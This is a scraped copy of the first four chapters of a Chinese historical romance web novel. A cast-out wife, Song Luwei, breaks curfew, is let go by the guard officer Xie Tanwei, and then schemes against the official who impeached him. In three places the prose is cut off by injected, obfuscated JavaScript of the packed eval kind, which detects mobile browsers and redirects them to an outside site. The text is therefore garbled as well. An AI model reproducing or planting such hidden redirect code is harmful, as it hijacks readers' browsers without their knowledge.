《微月临春阙》 1. 下堂 “母亲!你不能这样做!万事都要等阿兄回来啊!天下岂有休妻而夫君不知的道理呢?!” “是啊母亲,长嫂素来和善,待下有恩,如今她本家蒙难,你让她一个人往何处容身啊!” 中堂里跪满了人,伴着春日明媚的暖阳,求告声愈发激动高亢,却没有一句是出自宋露微之口的。众人正是为她苦求。她是这家的长媳,进门至今刚好三年。她平静得像个旁观者,偶一转脸,也只是向身旁的一对小夫妻摇了摇头。 几是同时,堂上高坐之人发出冷冷的一哼,众人瞬时静了,目光汇聚。宋露微顿了顿,缓缓摆正身体,也看向了堂上。那是一张瘦削而寡淡的脸,年过半百,风韵掩埋在清晰的皱纹里,恍然可见的只剩一双不容挑衅的眼睛。三年前初见,也是这般。 “母亲,我想问上一问,”露微以平常的语调开了口,她觉得是时候了,三年来的种种,也不需要回忆太久,“大郎离家前与母亲拜别叙话,那时母亲就想定了吧?大郎也是这个意思?” 半百妇人,一家尊长,华氏老夫人常年威严持家,早是名声在外,而对于露微这个长媳,则是由来不喜。她忽然一笑,蔑然又短促,眼神随之压下: “你本是宋氏贱妇潜隐前夫之私所生,伪托赵家之女入我姚家之门,出身本不洁,性情又乖张,举动自专,不顺尊长,我容你三年已是仁至义尽!如今我姚家备受皇恩,大郎仕途有望,你也该自知斤两,下堂求去,却还有何颜面在此淹留?!” 这番刻薄之语就像是专属露微的规训,自进门起,听了三年。她忍过,也辩过,后来干脆不理。但此刻,她内心波澜渐起,猛一起身,在众人未及反应之前冲到了华氏跟前: “我问你,大郎可也是要休了我?!” 华氏自然不料,惊惧后退,跌坐在身后的平榻上,左右侍娘忙去搀扶,堂上情状竟一时慌乱起来。露微没有再逼近,目光瞪视之间,也被那对小夫妻左右拦住。 “长嫂!” 他们异口同声地唤住露微,是劝阻,却又说不出更多的话。露微转看这二人,胸口随气息起伏着,由急到缓: “仲芫,淑真,这三年,多谢了。” 露微突然释然了:在选择冲向华氏的那一瞬,她已无路可退。而这结局,原就是那个男人花了三年时间精心打造的。 何须多问。 “快,快来人!将这疯妇即刻赶出府去!” …… 翻天似的吵闹过后,这一日春辰已过大半。露微站在姚府门下放眼端详,这座森严的府邸比之三年前更多了些气派。而三年前,也是这般时节,这般时辰,亲迎礼成,十三岁的她满心欢喜地做了姚家新妇。 姚家世代操医为业,从民间医人做到了供奉朝廷的御医,虽几度浮沉,却始终声望不减,名医辈出。在遍地世家贵族的都城咸京,姚家既无爵位,也无功封,单凭医术传家就能累世得官,已算是一门清流,一段传奇了。 到如今,华氏所生的两个儿子,以长子姚宜苏天资过人,十七岁就做了太医署的医师。同龄者还是医徒之时,他已经能够独当一面了。而盛名之下,姚宜苏还生就一副卓然风姿,那张俊逸的面孔不知入过多少京都少女的美梦。 诚然,露微也曾是这些少女中的一个,但又比旁人幸运得多。她有个得天独厚的优势——自出生便与姚宜苏定下的婚约。可所谓优势也只到她十三岁就戛然而止了。 三年里,华氏处处刁难,恶语相向是平常,无端的责罚也让她伤痕累累。她并非逆来顺受的性子,但每一想到姚宜苏,也就默默认了。只是,姚宜苏从未给过她半分回应。 露微起初也并不在意,只觉得姚宜苏术业精湛,定然有些傲气。然则时间一长,许多事就浮出了水面。原来,姚宜苏从不认可他们的婚约,也早有一个相知相许的恋人。 听闻那女子有着与姚宜苏般配的才貌,只是女家高贵,而姚家早年经历风波,家道中落。门第本已悬殊,又有婚约横亘中间,那女子便很快被父母另许了他人。从那时起,姚宜苏就立志奋发,没几年就崭露头角,令家族得以振兴。 便是这样的情状,露微也一度安慰自己,姚宜苏志存高远,才能卓越,是个值得托付之人。而那女子既已嫁人,便与姚宜苏再无可能,迟早是会被淡忘的。 可这些想法只是情窦初开的天真,无论她怎样主动讨好,姚宜苏都视而不见。就算看见她被华氏责打的累累血痕,身为医者的姚宜苏也只是教导她要顺从母亲的心意。 露微伤心过,哭到近乎晕厥,但也在那些血泪交加的时日里渐渐变得清醒了。她学会了不再靠近,把姚宜苏当成一幅画作远远观赏。那些情意留存心间,只待岁月自行磨洗,好时便好,坏也随他。 想到这里,露微低头看了眼手中的休书,然后笑了。三年来,她第一次觉得心里轻松极了。 “长嫂!长嫂!” 正要转身,门楼间追来了那对小夫妻,未及站定就把一个鼓鼓囊囊的包袱塞到了露微怀里: “长嫂,这些银钱和穿用你先拿着,寻个安身之处,千万要等阿兄回来!” “对!母亲的话你不要放在心上,她是糊涂了,等阿兄回来劝了,必定是要接你回来的!” 此情此景,露微听来又作一笑,欣慰的笑。若说在姚家的三年还有什么欢愉,便大多是这二人给的。 相比姚宜苏的天赋异禀,同为华氏所生的二郎姚宜若就显得逊色多了。但露微深知,二郎不过是晚出生了六七年,赶上了家道中落,却没轮得上为家中出力。自小只被教导好好读书,不要给家中添麻烦。因此,也就养成了一派温良谦和的性情。 至于姚宜若之妻,则是他的老师,国子监四门馆博士杨献的长女。杨家也非豪门,却是难得的清贵儒门。国子监多的是世家子弟,姚宜若的出身只堪陪末座,但杨献肯把女儿许婚,也正说明了这个学生必有过人之处。 杨氏既有家学渊源,便也出落得娴静知礼,清雅脱俗。自两年前嫁到姚家,不但与姚宜若志趣相投,十分恩爱,竟也能对露微毫无俗见,主动结交。 露微受罚时,常是二郎挡在前面;露微伤病时,也是杨氏守在榻前;每年的九月初三是露微生辰,他们甚至会从五月起就开始准备……露微早把他们当成自己的血亲了。 “我有钱,我当日嫁妆虽然不多,但一直不曾动过,够我吃喝一辈子了。”露微说着便把杨氏塞来的包袱还了回去,“算起来,终归是我受你们的恩惠多,若我还有造化,必有报还之期。” “长嫂!”杨氏含泪摇头,纤细的身躯禁不住颤抖,“你哪里还有钱!你把嫁妆都给了雪信,还当我们都不知道吗?!” 听到“雪信”两个字,露微骤然失色,惊诧之际却避开了目光,“总之,我可以活下去。” 说完,露微决然转身,任凭二人呼喊,只一步快似一步。 …… 不等露微的身影消失,二郎夫妻已被华氏遣人拉了回去。华氏就站在前庭中央,如塑像般望着他们走近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“儿知道,自父亲卷进那件案子染病不治,家道艰难,母亲吃了很多苦。如今好了,竟都忘了?当年的情形,就算阿兄有踔绝之能,也没几家愿意结交,不过是谈论他的相貌,看个热闹。是赵家,唯有赵家不弃,还肯遵照父亲遗愿约定婚姻。母亲那时不但愿意,更是欢喜的。赵家本是仕宦名门,伯父乃是吏部天官,就是有了这样的亲家,那些艰难时日才好过些的吧?” “你的意思,我姚家都是仰赖赵家庇护才得以纾困?你眼里究竟还有没有我?!那贱妇并非赵家之女,他们敢隐瞒身世嫁女,便也算不得什么积善之家,为娘做主休了她更是名正言顺!” “身世岂是她能选的?这分明就是母亲的偏见!况且母亲早就不喜欢她了,何以到今日才休弃?不就是因为赵家被贬,她彻底没了倚仗?此等落井下石之举就真的名正言顺吗?” “好了二郎,别再说了!快向母亲赔罪!快啊,我求你了!”眼看母子间的争吵愈演愈烈,每一句都让杨淑真心惊肉跳,在事情完全失控之前,她只能拼尽全力摁住二郎。 “啪!” 一记重重的耳光响彻空荡的庭院,这是姚宜若有生十八年来第一次被母亲责打。五指红印凸起在白净的脸颊上,却也没能撼动他的身躯。 “你可知错?!” 姚宜若良久不答,只是向华氏端端正正地磕了一个头。 …… 街上的鼓声阵阵传来,天色渐沉,咸京很快就要宵禁了。 2. 犯夜 露微生于咸京,长于咸京,对这里的一切都很熟悉,即便孑然一身,想要活下去也并不难。可如今摆在眼前的还有一个令她纠结的选择:离开京城,追去赵家的贬官之地。 赵维贞遭贬已有半月,但她一直不知详情,事发当日华氏就将她关进了后院。华氏顾惜名声,从来不让露微上台面,也不愿让人想起这个长媳,就更莫说顶着风声让她回去了。 后来,仰赖姚宜若夫妻奔走,才从杨家父亲口中探知了一二。赵维贞是遭人弹劾,天颜震怒,不仅将其本人连降七级,从正三品吏部尚书一下贬为了从六品的零陵司马,还罪及长子赵启英也除了官,又抄没家产,命赵家举家迁离咸京。 别的倒都罢了,只是那零陵是恒朝的边州,自古是夷獠之乡,不仅远在千里之外,气候更则恶劣,多有僇官因不服水土而病亡,根本等不到赦免之日。 正因此,露微才生出去零陵的想法,她虽无力为赵家脱罪,却可以与赵家共进退。然而,这还是难的,因为自从数年前母亲过世,她在赵家渐也没了立足之地。 越想越烦躁,思绪乱飞,脚步乱走,等她再抬头时,天已擦黑,再环视左右,大小街巷空空荡荡,竟只剩她一个人了。 “天呐,我怎么没听见鼓声呢!” 她猛一惊,拍了下自己的脑袋——恒朝都城素有夜禁之令,每当日暮擂鼓八百下以作警示,若鼓声停了还在街上游荡便是犯夜,代价就是拘禁受罚。她可不想刚从一个牢里出来就进下一个。 借着残存的一点天光,露微蹑手蹑脚地摸索前进。现下既已宵禁,城门和坊门也都关了,出城是别想了,就连身处的里坊都出不去。掂量来回,她决定就近找个暗处蹲上一夜。 天色已经完全黑了,只有一点微月之光,眼睛看路吃力,她便扶着墙慢慢探路。然而,正当她摸到一条细巷,才要进去—— “前头是何人?!速速停下!” 露微已经很小心了,即使脚下多有障碍,一直也没碰出声响。这帮巡街的真是属猫的!冷不丁一嗓子,喊得人魂都掉了七分。 “尔是何人!速速报上名来!” 就这惊魂不定的工夫,厉声质问又从头顶劈了下来,随之而来的还有弓弦弹动的脆响,不能再耽误了: “郎官手下留情!我就是本地人士!” 慌张之下,露微虽然转了身,却一时不敢睁眼,只觉四周一下亮堂了,不知来了多少军士将她围住。又静了片时,听得鞍马之声,好像有人下马过来了: “既是本地人士,何故夤夜不归?” 这个声音倒是平和多了,像是个能讲理的人。露微试着眯开一丝眼缝,一下正对上一双雪亮的眼睛,满含质疑却并不骇人。 “你就住在本坊吗?” “我……” 实话是不能说,假话还要想一想,但迟疑间,露微已不觉放松下来。她全看清了,这人很年轻,通身穿戴锁子甲,手扶一柄长剑,面庞俊朗,身姿硬挺,眉宇间流露一股清贵之气。 “我原是要去拜访一个远亲,但临时有事耽搁了,未及出城,天又黑了,夜路难行,是以惊扰了郎官。” 露微说得心虚,也知道不算周全,但这人一直没什么表情,也不知能信几分。 “既是要出远门,可有京兆府出具的公验过所?” 露微顿时心中一沉,她这辈子还没出过咸京,哪来的这东西?怎么没想到这一点呢?现在想圆都圆不回去了。 “谢中候,我看这女子大有可疑,莫要同她多费口舌了,带回去再细查就是!” “是啊,此人肯定没有过所,不过是信口雌黄,故意拖延!” 果然,盘问了半天也没结果,其他军士都急了。露微也已无话可回,只想着不是什么死罪,就任凭处置也罢。 “嗯,即刻押回监室。” …… 都城巡警的武官都属金吾卫部下,而金吾卫的官署则设在皇城禁苑之内。露微对这些都是门清,可这辈子也没想着能进去见识一番,现在却因为这种事,真是祸不单行。 一路过去,她夹在一队军士中间,跟在那个姓谢的马屁股后面,时不时还被扬起的马尾巴甩到脸,原本已经满身尘土了,等到了地方早已是又脏又臭了。 夜阑人静,皇城官署更是一片沉寂。她被带到一座不大的院子,院中四面都是整齐分隔的小间,大约二三十间,每间也就两人宽,应该就是金吾待罪的监室了。 “中候,还问吗?我看她也不想说实话,等交了五鼓,直接送到京兆府问罪就是了!” 此刻,院子里除了露微,就剩了谢姓武官和一个副手。这副手满心的不耐烦,姓谢的瞥了他一眼,忖度着什么,却还是不辨喜怒,又仿佛是故作高深,多少有点奇怪。 “你这包袱里装的什么?怕不是什么偷盗的赃物吧?打开看看。” 不见主官回应,副手也不敢自专,于是目光重又回到露微身上。露微原本已经没什么可怕的了,一听这话又慌了。她离开姚家前褪下了一切绫罗首饰,连嫁妆都送了人,包袱里自然没有什么像赃物的东西,但,却有那封休书。 休书上不但写明了她姓甚名谁,是谁家之女,还清清楚楚写着姚宜苏的家门名号。莫说赵家如今是罪臣,她更不想沾染的是姚家,这些岂是能轻易暴露的? “你们直接把我送到京兆府问罪吧!什么罪我都认!” 她只能破釜沉舟了,声音高得在院子里回旋,把那副手也惊了一跳,即刻怒火中烧,瞪道: “好个刁民!好大的狗胆!竟敢……” “行了!” 嗓子还没比完,正是剑拔弩张之际,那高深的谢中候突然醒了似的,一把拦下了副手。副手自然不忿,又要冲上来,力气却实在拧不过,脸色憋得铁青。 “什么罪都认,小小年纪,你可知这话的分量?” “我知道,但我就是不想给你们看。私人之物,无凭无据就要查验,原是你们侮人在先。”露微抱紧了包袱,目光戒备,审视着这位中候,“况且,金吾之职本在管束都城治安,使百姓安居,就算我确系犯夜,也未尝不认,可你们只求立威,与政化之本背道而驰,又怎能令我顺从?” “哼,牙尖嘴利!中候,不能再和她浪费时间了,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋容的坟茔素日除了露微,也只有赵维贞会着意祭拜。可赵维贞已离京半月有余,就算山间阴凉通风,三五日也定有蛇虫啃食供果。更重要也更奇怪的是,世上除了露微和赵维贞,还有谁能知道宋容平生最喜樱桃呢? 沉思良久,露微实在想不到任何人,只有一条思路是能说通的:赵维贞临去前托付了友人代为祭奠。 “看来,父亲在朝中尚有值得托付的深交。只要有人肯帮赵家,那么……” 想到这里,露微豁然开朗,忙摆正身躯向母亲拜了三拜。再起身时,她眼里一扫茫然,变得如朗星般光亮,那些刚刚还理不清的头绪也都瞬时疏通了。 她原想的是要不要去零陵,可经历犯夜一事,那谢中候已提醒她了,出远门需要京兆府出具公验过所,这是她先前没有考虑到的。而到官府办事必得说明真实理由,她又说不得。再者,她离开姚家时只给自己留了些许散钱,省吃俭用尚能支撑,用作去零陵的川资却远远不够。所以,这些纠结竟都是白费精神。 露微不禁摇头一笑,目光辗转落在那盘樱桃上,她知道该怎么做了——留在咸京这个波委云集的地方,一边谋生挣钱,一边探听风声,寻一寻那代祭之人。 …… 申时将近,露微该回城了,只待做完最后一件事。她用手抚了抚母亲的墓碑,然后从包袱里取出了那封休书。 “阿娘,往事不可追,我从未怪你,也甘愿承受一切。如今我已同姚家恩断义绝,今后若赵家肯认,我便还是赵家女,若不然,我就只做娘的女儿。” 话音未落,一纸休书已化灰烬。 3. 重逢 露微既是缺钱,便不可能置房置地来安身,但有句话说得好,虚则实之,实则虚之。有一个地方看似无用,却是不花钱就能住的,而且闲杂人等不敢靠近,最是安全,便是已被封没的赵家。 从小长到大的地方,露微自然非常熟悉。便想来这府邸虽然封了,却也只有宽街上的正门惹人注目,而后院的小门开在一条深巷尽头,十分隐蔽,从前只有下人进出,也并不落锁。 于是,露微很顺利地从这道小门进了赵府。府内已是一片落败之象,早已没有什么值钱的物件。为免张扬,她就在后院一处偏屋住下了,也方便出入。 收拾完屋子不曾空闲半日,她就赶着出去找活计了,毕竟挣钱才是正经事。她自小活泼,什么都爱搬弄两下,即便出身官家,也并不娇气。后来嫁到姚家,华氏几乎每天都让她干粗活,浣衣洗碗,打水劈柴,她渐渐地都会了。 所以她的目的也很明确,就往咸京最繁华的延寿坊去。那里有数十个市集相连,方圆七八里都不见冷清,楼店铺子更是多如繁星,不管粗活还是细活,肯定会有人手短缺的。 然而,事与愿违,一连三四天都没找到东家。去脂粉铺,她分不清什么粉什么香;去首饰店则嫌她手笨不会挽发梳妆;而去酒肆客馆呢,后厨帮工只要健壮的男子,席间招呼的活儿虽轻松,她却根本做不到迎来送往,满脸陪笑。 “真烦!烦死了!” 露微的性子急,白费了几天精神也让人火大。眼见又过去半日仍无结果,她干脆一屁股坐在地上生起了闷气,却又不甘心,脑子里蹦着一些怪异的想法。 比如女扮男装会不会被人看出来?又比如看着对面铁匠铺的工匠正在打斧子,想去买一把上山砍柴来卖钱…… “哼!想到这里我就不服!只是放了那个小丫头一马,又没出什么乱子,竟也能拿去弹劾,什么碎嘴子的鼠辈!我真恨不得拿坨马粪塞他嘴里。” 眼睛还没从斧头上挪开,耳朵却已听了一出大戏,而这声音竟是有些熟悉的。露微一下子转移了心思,忙循声去找人,一看,身后的茶水铺里果然坐着两个认识的人: 骂人骂得唾液横飞的是犯夜那晚的中候副手,另一个喜怒不形于色,正掏出帕子擦脸的便是中候谢探微本人。 能在大街上再次偶遇,露微不禁是有些高兴的,毕竟她也算欠谢探微一个人情,还不及说声谢。忖度了片刻,看二人都没穿着官衣,应该闲散有空,她便准备主动上前——等等! 突然意识到了什么,露微心里咯噔一下:他们说的放了一马的小丫头,怎么这么像我呢?所以,难道谢探微竟然因为放了我就被人弹劾了?如此严重?! “还有,他说你失职也就罢了,最可恨的是竟还说你为女色所迷,私德有亏,简直是一派胡言!那小丫头有什么女色啊,活像只会咬人的小花狗!比小花狗还凶呢!” 好了,这下确信无疑,他们说的就是自己,小花狗,汪! 露微一时将道谢的心都收了,可愧疚之余两脚在地上不停磋磨,也做不到一走了之。过了些时,她还是慢吞吞地挪到了二人的茶席前,硬着头皮逼自己张开了嘴: “你们,你们……先别生气了。” 谢探微一直低着眼睛,那副手中气十足正挺着腰,一眼撞上,惊了一跳,但也很快认清了是谁,立时吼道: “你你你!你从哪儿冒出来的!想干嘛?” “我,我正好路过,就,就都听见了,你们是在说我吧?”露微心虚得舌头都捋不直。 谢探微这才转脸,眉头只一微蹙:“与你无关。” “怎么无关?就是她的事!”副手依旧藏不住话,“她既主动送上门来,我们正好把她抓回去,看他们还有什么话说!” 露微虽然理亏,倒也不是想来自投罗网的,“现在抓,可能也于事无补了吧?” “你当然不想了,什么于事无补,你怕就别来啊。” 露微无奈地抿了抿嘴巴,想这副手到底是个憨货,对牛弹琴是说不明白的,只能找正主:“谢中候,这件事是因我而起,我只是想来问一问详情,或许……” “我说了,与你无关。”谢探微却也不听,说着便起身,瞥了眼副手示意离开。 “明明是有关的,中候就不能给我一个说话的机会?”露微追了上去,心里是既窘迫又不得不着急。 谢探微一时站住了脚,但沉稳的脸上添了几分严肃:“如你那夜所言,你未尝不认犯夜之罪,但决定放你的人是我,所以与你无关,可听明白了?” 这哪里需要解释,露微根本就不是要纠缠这些,但要再劝,谢探微却没再留余地,径直走了。 “唉,好歹听了我要干什么再走啊!万一我能帮你呢?” 露微连连叹气,心想这谢探微真是个怪脾气。说他每每绷着一张脸吧,他倒也不是个抓人就罚的酷吏;说他能听人讲道理吧,他又似乎没那么多耐心。 事已至此,露微也只能不管了,便转身,却一见那副手还在原地,抱着双臂,一脸打量的意味。 “你怎么还在啊?你的中候都走丢了。” 副手摸了摸下巴,又咂嘴,“小丫头,你到底是什么人啊?” 露微轻嗤,“上次告诉过你了,本地人士。” “我是说,你干嘛要自讨苦吃啊?换做旁人还不早就溜了。难道你对我们中候有什么企图?” 都傻成那样了,竟还装起聪明来了,露微直接笑出了声,“我一介小民能对你们当官的有什么企图,不过是……” “是什么?” 露微忽然灵机一闪,想这小跟班倒是一副直肠子,正可以套套话,“看你刚刚那么生气,又不是为自己,你跟谢中候的关系一定很好吧?你就不妨和我说说这其中到底怎么回事,万一我有办法,既帮了你们,也算我有所弥补嘛。” 副手本就是听露微说能帮忙才好奇没走的,这么一听果然也觉得可行,便很快上钩了:“事情也不是不能告诉你,只是你若帮不上,我就真的把你带回去抵罪,到时候可别哭!” 露微哪里是没见过世面的,便笃定地点了点头,叫他从头细说。这小子虽说是傻,三两句下来竟也能陈述得很清楚。 上次听这人说起谢探微时,提到他是扬州出身,还是大将军的义子,露微便以为他们都是从扬州来的。到这时才又知道,包括那位大将军在内,如今金吾卫有好一帮人都是从北边的甘州军营调来的,而且上任还不足两月。 要知道,金吾卫职在拱卫都城,护从皇帝,地位重有千钧,所以历来担任金吾卫要职的不是皇亲国戚,就是功臣勋贵,都是皇帝的亲信之人。而新上任的大将军晏令白,只是一个普通边将出身,仕宦三十年都没做过京官,因此备受朝野关注,自然也不乏质疑之人。 知悉了这些内情,露微就把整件事看明白了。晏令白遭人嫉妒,连带他的一众“甘州党”都受人瞩目,于是才能把谢探微放人的一件小过渲染成了大错,甚至闹到了皇帝跟前。 露微不禁感叹,果然咸京这块名利富贵之地,什么时候都不缺争斗。便又难免联系起赵家这次罹祸,或许也是赵维贞在无意中得罪了什么人吧。 “那谢中候就没有为自己辩白么?知不知道是谁弹劾的?”露微将心比心,觉得谢探微此事先该明确对手,莫如赵家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149714|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般,她至今不知细情,便无从查起。 “中候品阶尚低,没资格面陈陛下,大将军虽有心,奈何与中候关系特殊,也不好太过护短,后来就罚了中候三个月的俸禄。至于弹劾之人么,就是京兆尹杜石羽。我们抓了人,按理就应该给他送去,所以才会被他抓住了把柄。” 杜石羽?!他都成了京兆尹了? 在听到这个名字之前,露微也不确定自己真能帮到谢探微,只是出于愧疚想要负责,但若是此人,整盘棋便瞬间活了。 “我和你打个赌,这件事我能替你办了。” 副手也瞧出露微的神情比之前更加坚定,将信将疑,打着圈又端详了半晌,“我没什么不敢的,反正你也别想耍花样。” 露微欣然一笑,扬起了脸颊,“那是自然!” 副手皱了皱眉,“你现在先告诉我你叫什么,若到现在还不想说,也不能取信于我了。” 露微觉得有理,但也没必要说实话:“我叫卫月,护卫之卫,明月之月,你呢?” “行不更名,坐不改姓,甘州人陆冬至!” …… 与延寿坊东侧相接的太平坊亦是咸京的一块宝地,不同的是,太平坊贵在高门林立,勋贵聚居,而又与皇城的含光门仅有一街之遥。大将军晏令白上任金吾卫之后,皇帝也在此赐府,身为义子的谢探微自然也是同住的。 此刻早过午时,谢探微才不紧不慢地走回来,却还不及进门,便有一个阍房小奴急急迎出来,说道: “郎君到哪里去了现在才回,大将军散朝回来便叫你,都在书房等了一二时辰了!” 一听这话,谢探微犹如初醒,懵了一阵才拔腿奔去。到时,果见晏令白伫立窗下,只是看着神情自若,似乎也并无大事。 “怎么?都来了两个月了,还不习惯?”晏令白早已听见谢探微的动静,只一笑,免了他的礼。 谢探微难免露出愧色,眼睛低了下去,“阿父,我未尝不惯,只是出去走走,不料却忘了时间。” 晏令白却很了然,含笑走到谢探微面前,“你不服,对吗?在为父面前就不要故作压抑了。” 谢探微睁大了眼睛,一时哑口,好一会儿才泄了口气,“金吾卫的职责与边军相差甚远,两月以来我每常熟记,却总发现有诸多不合理之处。就如犯夜,不论何种情由都是送去京兆府鞭笞二十。难道朝廷颁布律令法则,只是为立威于天下吗?” 晏令白静静听完,一点都不觉意外,还是笑着拍了拍谢探微的肩膀,“你这不还是不习惯么?历朝法令,莫不有瑕疵之处,却不一定要像你这般直接违令。若你早些与我商议,也可上书陛下,以求改良法度,便也不至落人口实啊。” 谢探微也并非不知其中道理,回想那夜的情形,他起初并没有想过直接放人,只不过——监室院中一番唇枪舌剑,那小女子的见解竟与他不谋而合。 “阿父,我以后会改的。” 晏令白点点头,旋即眼中又多了些许思量,“咸京不比甘州,万类聚集,人事复杂,触犯刑律者多于天下百州,而且动辄牵连甚广,非你一己之力就能抗衡。你尚年轻,遇事切切不可自专,必得让我知晓,再做计较。” 方才已经叮嘱过的话如何又说一遍?意思还更深切了。谢探微不禁细想,大约还是由此事起的,“阿父,你是不是觉得我这次得罪了那个京兆尹杜石羽,会令我们的处境更加艰难?” 晏令白知道谢探微听懂了自己的话,“你记住就好,其余的事自有为父担承。” 谢探微还从没见过晏令白这般隐晦的样子,但再往深处,他也心力不及,“是,探微谨记。” 4.出气 同陆冬至定下赌约后,露微就开始了谋划,连找活计的心思也暂放了,日日就往一处去:崇贤坊西头的光福街。 这个地方其实离赵家不远,就隔了三四条街,而她之所以盘算到此,便正是因为京兆尹杜石羽的家宅在此。这杜石羽是弹劾谢探微之人,但露微却不是才从陆冬至口中知道这号人物的。 因为,杜石羽曾是赵维贞的门生。 露微长在吏部之家,自小也见过一些大小官员,对各家的长短也听过不少,但她对杜石羽的印象却比旁人深刻得多。 这个人读书尚可,但素来好色,不修德行,又娶了个善妒的妻子,每每闹得鸡飞狗跳。赵维贞便因此几番痛斥,他却变本加厉,渐渐地就断了师生之谊。后来这人就再没了消息,直到去年,露微在去南郊祭母的路上看见了他。 那是咸京最南角的保宁坊,地处偏狭,远不及北边繁华。露微就看着他从马车里下来,从正街步入小巷,扣开一个门户,便有一个妖艳女子将他搂了进去。这也就不用猜了,定是杜石羽背着悍妻蓄养的外室,而那女子举止轻浮,多半还是私娼之类。 有了这些前情在胸中,露微的谋划也算水到渠成。她想,依那日陆冬至所言,杜石羽除了弹劾谢探微失职,更强调的是他私德有亏。既然这种毫无私德的人都敢拿‘私德’二字做别人的文章,那就只能以彼之道还施彼身了。 而这份还礼的关键就是王氏的善妒。只要让王氏知道杜石羽金屋藏娇,就必能掀起轩然大波。 于是,露微把心思都放在了王氏身上,连日在杜府门外观望,总算摸到了些许门道:身为京兆尹的杜石羽每日卯时就会乘马上朝;那王氏则颇多交际,但逢天气晴暖便会盛装出游。 机会这不就来了? 这一天又当是春光明媚,露微早早地就等在了杜家门下。与之前不同的是,她将自己化装成了一副门仆小厮的模样,还往脸上涂了灰,看上去甚是狼狈。 到了时辰,眼见杜石羽如常出了门,果然没多久就有一驾锦绣结彩的马车从后巷驶出来。等王氏登车的间隙,露微便悄然走到了车队最后,看准了一个跟车侍奉的女婢—— “小娘子行行好吧!带我见见尊君,我家夫人怕是不行了!” 一嗓子喊得哭天动地,莫说是杜家人,就连恰巧经过的路人都被露微的声音吓了一跳。她就是要引人注目,便趁热打铁又朝那小婢扑了上去。这小婢越是惊叫,越吓得众婢四处逃散。一时间,杜家门前乱作一团。 “哪里来的蠢物敢如此放肆!还不押下!” 没一会儿,王氏从门楼间匆匆而至,通身腾着怒火,话音还不及落下,左右侍从就按住了露微。自然,露微也没想反抗,仍作哭腔又把刚才的话喊了一遍。 王氏的脸色登时大变,一双翠眉横耸如箭,竟仿佛已经听明白了似的,“你!你你……什么夫人?!说清楚!” 露微心中暗喜,不免继续作势,先抬眼看看府门的大字,又往左右街上环视,“哎呀,这里难道不是杜家吗?尊君可同我家夫人说过的呀,凡有急事都可以来此地找他!” “贱人!”王氏终于忍不住骂了出来,两手攥着披帛,骨节发白,冲下台阶吼道:“你说!那贱人现在何处!” “在……就在保宁坊第二横街,安乐巷东边一户。” 露微说完就趴下了身子,显出十二分畏惧。余光所见,那王氏一口银牙都要咬碎了似的,额头青筋暴凸,鬓边的步摇都颤落下来。终于,一声喝令: “走!去保宁坊!” 四下奴仆皆不敢言,忙各归其位,拥护着王氏登车而去。 很快,热闹散去,露微从地上爬起来,一掸身上的尘土,这才发觉皮肉发疼,脸上也黏糊糊的,一摸,原来头也伤了。真没想到需要花这么大力气,但,也不是很亏: “嗯!不要白不要,归我了!” 从王氏头上掉落的步摇就躺在台阶上,看上去十分华贵。 …… 自从听过晏令白的教导,谢探微行事就变得越发谨慎,每日除了上下职都不往外头去。可是,他能忍得住,陆冬至却忍不住。 二人在甘州时就最亲近,各自在咸京也没有亲朋,说来身份有别,相处间就如同兄弟。皇帝赐下将军府时,谢探微也把陆冬至带到了府里居住,几乎每天形影不离。 “天气这么好,真的不出去逛逛吗?” 庭院里,谢探微正气定神闲地看着书,一旁的陆冬至像只猴子,要么围着转圈,要么骑在栏杆上。 “你又不用和人争状头,这么勤勉干嘛?”久不见理睬,陆冬至索性把谢探微的书夺了。 谢探微也还安坐,端起茶碗饮了一口,“我看的是兵书。” “是,是吗?”陆冬至原是不大看得进书的,耳后一热,赶紧找补,“那也别看了,京城又没仗打。” “你最近怎么了?是不是遇到什么事了?”谢探微早看出陆冬至近日浮躁,只是无从问起,因为他们天天在一起,就算有什么,他也应该清楚。 陆冬至感受到了谢探微的眼神,放老实了些,缓缓才道:“就想出去玩啊,延寿坊那么多好吃的,我还一个都没尝过呢。” 这个理由倒是符合陆冬至的性子,只是“延寿坊”三个字听来有些异样,“你什么时候对延寿坊这么熟了?这两个月不就去了一回吗?”谢探微有心试探道。 陆冬至根本听不明白话音,脱口就道:“就是那回看见的呗!但那天连口茶都不及吃,就遇上那个小丫头了。” 谢探微一瞬全明白了,“那天我走之后,你很迟才跟上来,都同她说了?” 陆冬至这才后知后觉地捂住了嘴,却无济于事。看谢探微一脸愠色,怕是要将他扫地出门,便只好一五一十地都说了。其实,除了那个赌约,他也不知道这小丫头的具体计划。 “我是觉得,这件事本来就不是秘密,又是因她而起,管她能不能帮我们,叫她知道轻重,以后再不敢犯夜了。” 谢探微听来倒也不觉有坏事的地方,只是他不喜欢对不熟悉的人透露太多,而且这小女子不仅是不熟,更有些不寻常。 “所以你这些时日心不在焉的,只是因为知道轻重了?” 陆冬至撇了撇嘴,“你就别取笑了,我是当真好奇,过了这些天也没听见什么动静,不知道她做没做。” 谢探微无奈叹了一声,心里对这个所谓赌约是不大信的,“除了这个,你们还说了什么没有?” 陆冬至点点头:“说了名字,她说她叫卫月,护卫之卫,明月之月。” 两人正说到此处,不防远远跑来一个小奴,脚没站稳就报说:“大将军唤二位郎君过去,好像出了什么大事。” …… 